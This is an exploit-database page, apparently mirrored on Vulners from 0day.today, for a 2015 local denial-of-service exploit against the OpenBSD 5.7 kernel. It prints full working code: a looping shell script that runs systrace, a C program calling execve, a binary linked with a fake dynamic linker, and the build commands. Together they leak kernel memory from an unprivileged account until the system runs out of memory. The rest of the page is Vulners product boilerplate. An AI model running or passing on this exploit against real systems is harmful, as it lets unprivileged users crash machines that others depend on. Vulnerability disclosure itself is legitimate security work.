Lucene search
K

OpenBSD 5.7 Local Denial Of Service Exploit

🗓️ 04 Aug 2015 00:00:00Reported by BrainyType 
zdt
 zdt
🔗 0day.today👁 20 Views

OpenBSD 5.7 Kernel Memory Leak Exploi

Code
/*
* 2015, Maxime Villard
* Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged
* user. Found by The Brainy Code Scanner.
*/

- - - - - - - - - - - - - - - - - script.sh - - - - - - - - - - - - - - - - - -

#! /bin/sh
while true
do
systrace -A ./exploit
done

- - - - - - - - - - - - - - - - - exploit.c - - - - - - - - - - - - - - - - - -

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
execve("bin", argv, NULL);
}

- - - - - - - - - - - - - - - - - - bin.c - - - - - - - - - - - - - - - - - - -

int main() {}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

$ gcc -o exploit exploit.c
$ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c
$ ./script.sh

Wait a bit, and the kernel will run out of memory.

#  0day.today [2018-03-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation